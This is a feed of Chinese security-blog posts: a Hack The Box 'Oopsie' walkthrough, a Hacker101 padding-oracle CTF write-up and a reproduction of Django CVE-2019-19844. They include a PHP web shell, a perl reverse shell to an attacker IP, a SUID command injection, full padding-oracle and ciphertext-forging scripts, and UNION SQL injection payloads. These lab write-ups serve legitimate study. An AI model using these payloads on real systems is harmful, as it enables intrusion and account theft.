建立匿名管道 pipe1,且 : 命令不会去读 pipe1,不影响反弹 shell 工作。如果把 : 换成同样不会读 stdintrue 命令,反弹 shell 仍然可以工作,但如果换成会读 stdin 的命令如 cat,反弹 shell 就无法工作了。

]]>
https://blog.werner.wiki/curl-reverse-shell-principle/feed/ 0
渗透笔记之Oopsie https://blog.werner.wiki/penetrate-oopsie/ https://blog.werner.wiki/penetrate-oopsie/#respond Wed, 10 Jun 2020 12:31:56 +0000 https://blog.werner.wiki/?p=1534 背景

Oopsie 是 Hack The Box 的一台非常简单的入门级靶机。IP 地址是 10.10.10.28,使用 OpenVPƝ 连接靶场网络后便可访问。本文较为完整地记录了对其进行渗透的全过程。

信息收集

端口扫描

使用 Nmap 对靶机进行 TCP 端口扫描:

nmap -sV 10.10.10.28

扫描结果如下图所示,看到靶机开放了 22 和 80 端口。一般来说 22 端口的 OpenSSH 很少会有问题,80 端口的 Web 服务很值得仔细查看。

nmap扫描结果

Web 探测

在浏览器中访问 http://10.10.10.28,看到如下图所示的网页。

网站首页

在网页下方看到联系信息和公司名 MegaCorp,如下图所示。

网页中的联系方式

Hack The Box 的第一台靶机 Archetype 的管理员密码是 MEGACORP_4dm1n!!,看上去像是 MegaCorp admin 的变形,说不定有联系。

再没有发现其他可疑信息。按惯例查看网页源码,看到 <script src="/cdn-cgi/login/script.js"></script>,如下图所示。

网站源码泄露后台地址

看上去 /cdn-cgi/login/ 像是一个登录页面,在浏览器中访问看到如下图所示的网页。

登录页面

尝试用 adminMEGACORP_4dm1n!! 登录,居然就成功了。登录后看到有一个页面显示了当前登录的用户,如下图所示。

登录后的页面

还有一个 Uploads 页面,但点击发现需要 super admin 权限,如下图所示。

上传需要更高的权限

按惯例使用 gobuster 对 Web 路径进行扫描:

gobuster dir --url http://10.10.10.28/ --wordlist /usr/share/wordlist/dirb/big.txt

扫描结果如下图所示。

Web路径扫描结果

看到扫出了 uploads 目录,但访问发现返回了 Forbidden,如下图所示。

uploads页面返回Forbidden

漏洞利用

越权

出于习惯查看 Cookie,看到的 Cookie 如下图所示。

Cookie

看到有一个键为 role 的 Cookie,值是 admin,有一个键为 user 的 Cookie,值是 34322,再没有其他 Cookie,这意味着只要知道其他用户的 roleuser,便可以以其他用户的身份登录。而 34322 这个数字曾出现在显示当前登录用户的页面中,是 Access ID。回到这个页面,观察到它的 URL:

http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

其中有很可疑的参数 id=1,试着把 id 改为 2,发现没有报错,但也没有显示任何用户,如下图所示。

用户id为2时的显示

不要轻易放弃,继续尝试,把 id 改为 3,结果和上图一样。把 id 改为 4,出现了一个新的用户,如下图所示。

用户id为4时的显示

但这不是我们想要的 super admin,继续修改 id,依次尝试5、6、7、…….,直到把 id 改为 30,终于看到了 super admin,如下图所示。

用户id为30时的显示

现在我们知道了 super adminAccess ID86575 了 。修改 Cookie,把 role 改成 super admin,把 user 改成 86575,并刷新页面,现在可以打开 Uploads 页面了,如下图所示。

上传页面

上传

准备文件 shell.php,内容为:

<?php echo shell_exec($_GET['shell']);?>

然后上传,居然就成功了,都没有对 php 文件的过滤。但上传到哪里去了呢?结合 Web 路径扫描结果,猜测上传到了 /uploads/shell.php,尝试访问 http://10.10.10.28/uploads/shell.php?shell=id,看到 id 命令被成功执行,如下图所示,说明这个猜测是正确的。

上传页面

然后用 nc -nvlp 4444 监听 4444 端口,并在浏览器中访问:

http://10.10.10.28/uploads/shell.php?shell=perl%20-MIO%20-e%20%27$p=fork;exit,if($p);$c=new%20IO::Socket::INET(PeerAddr,%2210.10.14.33:4444%22);STDIN-%3Efdopen($c,r);$~-%3Efdopen($c,w);system$_%20while%3C%3E;%27

成功建立了反弹 shell,如下图所示。

成功建立反弹shell

但权限很低,是 www-data ,需要提权。

提权

提升 Shell

拿到的反弹 Shell 是非交互式的,为便于操作,下载 socat,并使用 socat 发起新的反弹 Shell 到 3333 端口,操作如下图所示。

提升Shell

使用 nc 监听 3333 端口,成功获得交互式 Shell,如下图所示。

获得交互式Shell

提权到普通用户

在上面的步骤中,我们修改 id 为不同的值获得了不同的返回结果,很明显网站是连接了数据库的。在 /var/www/html/cdn-cgi/login 下看到有文件 db.php,查看其内容意外地收获了一对用户名和密码 :robert: M3g4C0rpUs3r!,如下图所示。

数据库密码

用户名是 robert,不是常见的 root,值得注意。用 ls /home 查看系统用户发现恰好有一个名为 robert 的 Linux 用户。用 su 命令并输入密码便可以切换为 robert 用户,如下图所示。

成功提权到普通用户

提权到 root

ls -lh $(find / -perm -u=s -type f 2>/dev/null) 查看具有 SUID 的可执行文件,看到了一个奇怪的程序:

-rwsr-xr-- 1 root   bugtracker      8.6K Jan 25 10:14 /usr/bin/bugtracker

如下图所示。

bugtracker

这个程序得是 root 或是 bugtracker 组的用户才能执行。用 cat /etc/group | grep bugtracker 查看 bugtracker 组的用户,看到 robert 恰好在其中,如下图所示。

bugtracker组成员

执行 bugtracker,提示用户输入 Provide Bug ID,我们随便输入 123 试试,根据错误信息可以判断出这个程序内部调用了 cat,如下图所示。

bugtracker执行结果

再次执行 bugtracker,输入 123;/bin/bash 做为 Provide Bug ID,成功获得了具有 root 权限的 Shell,如下图所示。

获得root权限

信息收集

看看 root 用户都有些啥。执行命令:

ls -lRa /root

发现了一个挺有意思的文件,是 /root/.config/filezilla/filezilla.xml。如下图所示。

挺有意思的文件

内容是:

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<FileZilla3>
    <RecentServers>
        <Server>
            <Host>10.10.10.44</Host>
            <Port>21</Port>
            <Protocol>0</Protocol>
            <Type>0</Type>
            <User>ftpuser</User>
            <Pass>mc@F1l3ZilL4</Pass>
            <Logontype>1</Logontype>
            <TimezoneOffset>0</TimezoneOffset>
            <PasvMode>MODE_DEFAULT</PasvMode>
            <MaximumMultipleConnections>0</MaximumMultipleConnections>
            <EncodingType>Auto</EncodingType>
            <BypassProxy>0</BypassProxy>
        </Server>
    </RecentServers>
</FileZilla3>

从中可以看到一个 FTP 账号:ftpuser: mc@F1l3ZilL4。以后也许用得着。

总结

这台靶机真的非常简单,渗透所用时间和写这篇文章差不多。

拿到 OSCP 认证后我便疏于练习,一转眼半年多过去了,不禁又要感慨逝者如斯夫不舍昼夜。为防止技艺生疏,我决定在业余时间继续渗透靶机。这也是我的娱乐方式之一。

]]>
https://blog.werner.wiki/penetrate-oopsie/feed/ 0
Hacker101 CTF Encrypted Pastebin write-up https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/ https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/#comments Tue, 07 Jan 2020 14:14:10 +0000 https://blog.werner.wiki/?p=1032

首发于先知社区

背景介绍

Hackerone是一个漏洞赏金平台,想获取该平台的项目资格,需解答Hacker101 CTF题目。不同的题目有不同数量的flag,每个flag因题目难度不同而对应不同积分(point)。每得26分就会获得一个私密项目邀请。

本文记录了其中名为“Encrypted Pastebin”的题目的解法。该题要求技能为Web和Crypto,难度为Hard,共有4个flag,每个flag值9分。

本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁,Hacker101 CTF可能不再有这道题目,或内容发生变化。但本文尽可能地详细记录了整个解答过程,没有题目并不影响阅读和理解本文。

若读者正在解答这道题目但没有前进的思路,建议读者不要继续阅读本文,否则将损害解答这道题目的本意。请带着这一提示关闭本文:padding oracle。

题目描述

题目的地址是动态的,每隔一段时间打开都会不同,所以这里无法给出题目地址。也因其动态性,后文中相关代码或截图中题目地址可能会有所不同,读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。

打开题目后看到一个Web页面,如下图所示:

题目Web页面1

提示文本是:

We’ve developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.

从提示文本中我们知道了加密算法是AES,密钥长度是128比特,那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。

我们输入Title1,内容也为1,然后点击Post按钮,页面跳转到了:

http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~

观察这个URL,看到路径没有变,只是多了post参数,参数值长得很像base64编码,但又有一点点区别。页面内容如下图所示:

题目Web页面2

这道题目便是这个样子,一个功能单一的Web页面。一开始我很困惑这玩意有什么用,后来意识到Pastebin和Blog、BBS一样是一种Web应用,其作用是存储和分享一段纯文本数据,一般是源代码。如Ubuntu就提供自己的Pastebin服务。应用场景之一是一群人使用IRC讨论编程问题,一个人想向大家分享一段代码,那么他可以将这段代码存储在Pastebin中,将链接分享给大家,这样便避免了大段代码刷屏,感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。

根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。

Flag 1

一开始毫无思路,便想着输入异常数据试图引发错误。将post参数的值修改为1,提交后结果出乎意料,直接得到了一个flag,如下图所示。

flag1

在报错中我们看到了服务器是如何解码post参数的:

b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))

其实就是base64编码,只不过替换了3个关键字符。为简单起见,后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码post参数后,调用一个名为decryptLink的函数解密它,解密后按UTF-8解码,并以json格式解析:

post = json.loads(decryptLink(postCt).decode('utf8'))

从这个报错中暂时就看出这些有用的信息。但同时我们知道,通过触发错误可以获得很多信息。

Flag 2

报错1

现在考虑触发别的报错,向服务器提交能成功base64解码但在调用decryptLink解密时报错的数据。我们知道了如何解码post参数,便也就知道了如何编码post参数。提交post参数为MTix(一个有效的base64编码),这次报错为:

报错1

通过这个报错,我们看到了decryptLink函数中有一行代码的内容是:

cipher = AES.new(staticKey, AES.MODE_CBC, iv)

看来加解密post参数使用的密钥是静态的(staticKey)。还看到加密使用了CBC模式。报错中说IV(初始向量)长度必须是16字节,看来IV是从post参数中提取的。

报错2

现在考虑触发新的报错,将16个*编码,结果为:

KioqKioqKioqKioqKioqKg~~

提交此参数,成功触发了新的报错,如下图所示。

报错2

从这个报错中我们看到了decryptLink函数的最后一行代码,内容是:

return unpad(cipher.decrypt(data))

报错说string index out of range,应该是提交的post参数长度为16字节,刚够IV,实际数据为0,所以产生了这个错误。同时注意到有一个unpad操作,看函数名其功能应该是去掉填充(pad)。

报错3

再尝试触发新的报错,将32个*编码,结果为:

KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~

提交此参数,成功触发了新的报错,如下图所示。

报错3

这次的报错中出现了耐人寻味的PaddingException,结合CBC模式是可以使用padding oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式,但具体细节记不清楚了。查了些资料后补齐了细节,写了一个Python脚本来执行该攻击,脚本内容如下。该攻击的资料很多,网上一搜一大把,这里就不给出具体的参考链接了。后文假设读者清楚padding oracle攻击的细节,若不清楚,请先查阅资料。

import base64
import requests

def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))

def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')

def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result

def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1)
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]

def padding_oracle(real_iv, url, data):
    index = 15
    plains = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            if test(url, encode(iv+data)):
                plains = bytes([(16-index) ^ iv[index]]) + plains
                index -= 1
                tail = bytes([plain ^ (16-index) for plain in plains])
                break
    return bxor(real_iv, plains)

if __name__ == '__main__':
    post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
    url = 'http://35.190.155.168/fc2fd7e530/'

    i = 1
    plains = bytes()
    data = decode(post)
    length = len(data)
    while True:
        if i*16 < length:
            iv = data[(i-1)*16: i*16]
            plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
        else:
            break
        i += 1
    print(plains)

运行这个脚本,花了大约1个小时才解出明文是:

{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n

至此拿到了第二个flag。

Flag 3

观察解出的明文,发现它是json格式的,共有三个键,第一个是flag,应该纯粹为CTF服务,没有实际意义;第二个是id,值为3;第三个是key,值被用base64编码了,解码后发现是16字节长的二进制数据,怎么看怎么像AES密钥,用它直接解密post参数却是失败的,看来是其他地方的密钥了。

我们知道CBC除了padding oracle攻击外还有字节翻转攻击,利用字节翻转攻击可以把id3改成其他值,比如1。但实际尝试发现这样做是行不通的,因为字节翻转攻击的原理是修改密文分组中一个字节的值,使下一个分组中明文的对应位置的字节按我们的意愿修改,这样做会导致修改过的密文分组解密出的明文变成乱码,而这个乱码往往无法按UTF-8解码,在decode('utf8')时会触发UnicodeDecodeError错误。

为了避免UnicodeDecodeError错误,我们不能修改任何密文,那么就只能修改IV了。通过修改IV,我们可以控制第一个分组的明文。其原理如下图所示,用想要的明文异或原本的(已知)明文,将结果做为新的IV,解密时会再异或一次得到我们想要的明文。

控制第一个分组明文的原理

然而id出现在第6个明文分组中,无法直接修改。但好在我们可以完全控制IV和密文,所以可以抛弃部分密文。为便于观察,先把明文按16字节分组,结果如下:

{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

然后再设计我们想要的明文:

{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

对比可知完全抛弃了前5个分组,只保留了后5个分组,并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV,便可以得到想要的结果。具体的计算方法见代码:

post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):]    # 抛弃原始密文的前5个分组(加1是因为有16字节的IV)
iv_6 = decode(post)[16*(1+4):16*(1+5)]    # 第5个分组的密文,也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6)    # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"')    # 计算出合适的IV
print(encode(iv+data))

运行该代码计算出对应post参数为:

11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,没有成功查询出id1的条目,但成功拿到了新的flag,如下图。

flag3

通过错误提示推测这是因为服务器只加密了body没有加密title,flag存储在title中,尝试解密body时触发了错误(因为key是id=3的数据的,不是id=1的数据的),但好在错误信息中包含了title的值。

Flag 4

继续设法触发新的报错,试试SQL注入。构造如下的明文,把id的值设置为单引号:

{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n

计算出对应post为:

11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~

提交此参数,如愿以偿地看到了SQL注入的报错,甚至知道了具体的SQL语句是什么,如下图。

SQL报错

但按现有的方法,我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。

多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文,还可以用来构造解密出任意指定明文的密文。又在《Automated Padding Oracle Attacks with PadBuster》中找到了具体的原理,其实非常简单,是我们前面做法的推广。这里简单叙述一下原理。

原理

如上图,已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出任意密文对应的Intermediary Value,在CBC模式中Intermediary Value和IV或上一块密文异或得到Decrypted Value。为构造解密出任意指定明文的密文,我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文,用padding oracle计算出它的Intermediary Value,用Intermediary Value异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的Intermediary Value,用Intermediary Value异或倒数第二块明文得到倒数第三块密文。依此类推,直到计算出IV。

看懂原理后写了一个Python脚本来实现这种攻击,脚本太长为了不影响阅读附在文末。

首先构造明文:

{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA

SQL注入1

得到数据库名为level3

接着构造明文:

{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入2

得到数据库level3中有表poststracking,前一个表的内容我们已经知道了,所以关心后一个表,构造如下明文查询它有哪些列:

{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~

SQL注入3

得到表tracking有列idheadersid里应该没有实际数据,所以我们试图查询出headers。为此构造明文:

{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}

计算出对应post参数为:

be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~

SQL注入4

成功的查出了所有的headers,但其中没有flag。观察数据,看到headers应该是http的头部,其中也包含post参数,都试一试,发现第一个post参数可以解出一个新的flag,如下图。

flag4

至此,拿到了全部的4个flag。

总结

先总结一下Encrypted Pastebin的工作流程:每次接到用户数据都随机生成一个key对其进行加密,加密结果存储在数据库中,然后用固定密钥staticKey加密随机生成的key,并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据,和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中,和首页宣传的一致。

这道题目对我来说是很有难度的,我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识,另一方面,也是更重要的——它教导我不要轻易放弃。在进行padding oracle攻击时,速度很慢很慢,由于编程错误跑了很久却没有任何结果,让我心灰意冷,反复修改多次才终于成功。进行SQL注入时,由于一开始不知道利用padding oracle攻击可以构造解密出任意指定明文的密文便毫无思路,并且已经拿到了27分,几乎真的放弃了。后来觉得若是现在放弃,今后再做又得复习前面的所有步骤,白白浪费时间,才又坚持做下去。

附录

生成解密出任意指定明文的密文的Python脚本:

import base64
import requests

def trans(s):
    return "b'%s'" % ''.join('\\x%.2x' % x for x in s)


def decode(data):
    return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))


def encode(data):
    return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')


def bxor(b1, b2): # use xor for bytes
    result = b""
    for b1, b2 in zip(b1, b2):
        result += bytes([b1 ^ b2])
    return result


def test(url, data):
    r = requests.get(url+'?post={}'.format(data))
    if 'PaddingException' in r.text:
        return False
    else:
        print(r.url)
        return True

def generate_iv_list(tail):
    iv = b'\x00' * (16 - len(tail) -1) 
    return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]


def padding_oracle_decrypt(url, data):
    print('破解数据:{}'.format(data))
    index = 15
    intermediary = bytes()
    tail = bytes()
    while index >= 0:
        for iv in generate_iv_list(tail):
            print('尝试初始向量:{}'.format(trans(iv)))
            if test(url, encode(iv+data)):
                intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
                index -= 1
                tail = bytes([temp ^ (16-index) for temp in intermediary])
                break
    return intermediary


def pad(data, block_size):
    """按PKCS#5填充"""
    amount_to_pad = block_size - (len(data) % block_size)
    if amount_to_pad == 0:
        amount_to_pad = block_size
    pad = bytes([amount_to_pad])
    return data + pad * 16


if __name__ == '__main__':
    url = 'http://35.190.155.168/fc2fd7e530/'
    post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
    ciphertext = decode(post)[16*6:16*7]
    immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])

    plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
    data = pad(plains.encode('utf-8'), 16)
    block_amount = int(len(data) / 16)
    index = block_amount
    while True:
        block = data[(index-1)*16: index*16]
        print('处理块:')
        print(block)
        iv = bxor(immediate, block)
        ciphertext = iv + ciphertext
        index -= 1
        if index > 0:
            immediate = padding_oracle_decrypt(url, iv)
        else:
            break
    print(encode(ciphertext))
]]>
https://blog.werner.wiki/hacker101-ctf-encrypted-pastebin-write-up/feed/ 2
Django重置密码漏洞(CVE-2019-19844)复现和分析 https://blog.werner.wiki/poc-of-cve-2019-19844/ https://blog.werner.wiki/poc-of-cve-2019-19844/#comments Tue, 31 Dec 2019 11:30:42 +0000 https://blog.werner.wiki/?p=1084

首发于安全客

前言

CVE-2019-19844是Django重置密码功能的一个漏洞。Django的密码重置表单使用不区分大小写的查询来获取输入的邮箱地址对应的账号。一个知道邮箱地址和账号对应关系的攻击者可以精心构造一个和该账号邮箱地址不同,但经过Unicode大小写转换后相同的邮箱地址,来接收该账户的密码重置邮件,从而实现账户劫持的攻击目标。1

本文较为详细地记录了该漏洞的复现过程,简要分析了漏洞成因,讨论了攻击所需的条件。

复现

基于Python 3.6.0,Django 3.0.0和MariaDB 10.4.11复现漏洞。

准备环境

首先安装Python 3.6.0和MariaDB 10.4.11,然后安装有漏洞的Django版本3.0.0:

pip install django==3.0.0

全部安完后创建数据库cve_2019_19844_test

MariaDB [(none)]> CREATE DATABASE cve_2019_19844_test;

新建Django项目cve_2019_19844_test

django-admin startproject cve_2019_19844_test

需对项目cve_2019_19844_test的配置文件setting.py做一些修改。将LANGUAGE_CODEzh-hans,这样Django就会显示汉语界面了。修改数据库相关配置为使用MariaDB:

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'cve_2019_19844_test',
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST': 'localhost',
        'PORT': '3306',
    }
}

在文件末尾添加发送邮件相关的配置,示例如下。

EMAIL_USE_SSL = True
EMAIL_HOST = 'smtp.qq.com'  # 如果是 163 改成 smtp.163.com
EMAIL_PORT = 465
EMAIL_HOST_USER = 'xxx@qq.com' # 帐号
EMAIL_HOST_PASSWORD = 'p@ssw0rd'  # 密码
DEFAULT_FROM_EMAIL = EMAIL_HOST_USER

为使用MariaDB做数据库,还需在__init__.py中添加:

import pymysql
pymysql.install_as_MySQLdb()

接着执行以下命令创建数据表:

python manage.py migrate

然后创建一个用户,用户名是werner,邮箱地址是i@werner.wiki

python manage.py createsuperuser

创建用户

启动Web服务:

python manage.py runserver

在浏览器中访问http://127.0.0.1:8000/admin/,看到如下图所示的登录页面,并没有重置密码的功能。

Django登录页面

Django没有默认开启重置密码功能,从官方文档找到了开启该功能的方法2。我们需要编辑urls.py,引入一些url配置。修改后的urls.py如下所示。

from django.contrib import admin
from django.urls import path
from django.urls import include    # 此行是新增的

urlpatterns = [
    path('admin/', admin.site.urls),
    path('accounts/', include('django.contrib.auth.urls')),    # 此行是新增的
]

然后访问http://127.0.0.1:8000/accounts/password_reset/,看到如下图所示的重置密码页面。

Django重置密码页面

根据文档,Django会生成一个可以重置密码的一次性链接,并把这个链接发到用户的邮箱中。如果邮箱地址不存在,Django不会发送邮件,但仍然显示“密码重置链接已经发送”,以避免攻击者探测一个邮箱地址是否为某个用户所有。

输入邮箱i@werner.wiki测试一下,成功收到了密码重置邮件,如下图所示。

Django重置密码邮件

点击其中的链接就可以重置密码了。至此,环境准备完毕。

复现漏洞

根据漏洞描述我们知道问题出在Unicode大小写转换。Unicode号称万国码,包含各种语言,有些语言的字母在进行大小写转换时就会出现奇怪的现象。如小写德文字母“ß”转换成大写是“SS”,再转换成小写就变成了“ss”3,大小写转换竟然不可逆,甚至连字符数量都发生了变化。在Python中进行测试截图如下。

大小写转换不可逆的示例

在准备环境时我们填写的用户邮箱是i@werner.wiki,刚好土耳其文和阿塞拜疆文中的字母“ı”转换成大写是英文字母“I”,再转换成小写就变成了英文字母“i”。知道以上信息,攻击者就可以发起攻击。首先注册域名werner.wikı(假设这个域名存在),然后搭建邮件服务器,设置邮箱i@werner.wikı,最后在Django重置密码的表单中填入这个邮箱地址,提交后攻击者就可以收到用户werner的密码重置邮件了。如下图所示,Django的确发送了密码重置邮件,但由于收件邮箱的域名无法解析,所以一直处于发送中的状态。

发出密码重置邮件

勉强算是成功复现了漏洞。这里为何不使用ı@werner.wiki呢?因为@werner.wiki使用的邮件系统不支持地址中包含ı。现实中的攻击者常常也会面临这个问题,实际上攻击者很可能无法任意注册和用户同后缀的邮箱,便只能修改邮箱后缀了。在这个例子中顶级后缀wikı是不存在的。但攻击者任然可能成功攻击,比如被攻击的是xxx@baidu.com,攻击者就可以构造xxx@baıdu.com。从阿里云查询到域名baıdu.com还没有被注册。

注册域名

分析

问题代码

通过阅读修复此漏洞的commit4可以找到和该漏洞相关的代码5如下所示:

    def get_users(self, email):
        """Given an email, return matching user(s) who should receive a reset.
        这里的email就是重置密码表单中用户填写的邮箱地址
        """
        active_users = UserModel._default_manager.filter(**{
            '%s__iexact' % UserModel.get_email_field_name(): email,
            'is_active': True,
        })
        return (u for u in active_users if u.has_usable_password())

在我们的复现中UserModel.get_email_field_name()返回值是email,也就是说重置密码功能是通过如下的语句查询用户的:

active_users = UserModel._default_manager.filter(email__iexact=email, is_active=True)

注意在查询邮箱地址时使用了iexact,不区分大小写。我们在Django shell中测试一下,用如下语句确实可以查询到用户:

UserModel._default_manager.filter(email__iexact='i@werner.wikı', is_active=True)

截图如下。

在shell中复现漏洞

那么去掉iexact是否可以呢?测试发现是可以的,截图如下。

区分大小写也可以复现漏洞

这是因为MariaDB数据库默认不区分大小写。我们在创建MariaDB数据库时没有指定COLLATE,便取了默认值utf8_genera_ci,其中ci的含义是case insensitive。若在创建数据库时指定COLLATEutf8_bin(将字符串中的每一个字符用二进制数据存储,区分大小写):

CREATE DATABASE cve_2019_19844_test DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;

再重复上面的测试,发现不管有没有iexact都无法复现漏洞。此外,若是使用sqlite做数据库就无法复现漏洞,而使用PostgreSQL却可以复现漏洞。这么想来这一漏洞的真正成因是数据库特性。

将数据库改回可以复现漏洞的状态,开启MariaDB的SQL日志6,记录到Django实际执行的SQL语句是:

Django实际执行的SQL语句

复制这个语句将它粘贴到MariaDB控制台中执行,发现果然能查到数据,如下图所示。

在控制台中执行SQL语句

MariaDB是运行在Windows上的,一开始我在CMD中登录MariaDB控制台,执行上述SQL语句发现查询不出数据,使用chcp命令将CMD编码改为UTF-8也不行。后来在Linux中登录MariaDB控制台(连接的还是运行在Windows上的同一个MariaDB)测试成功。

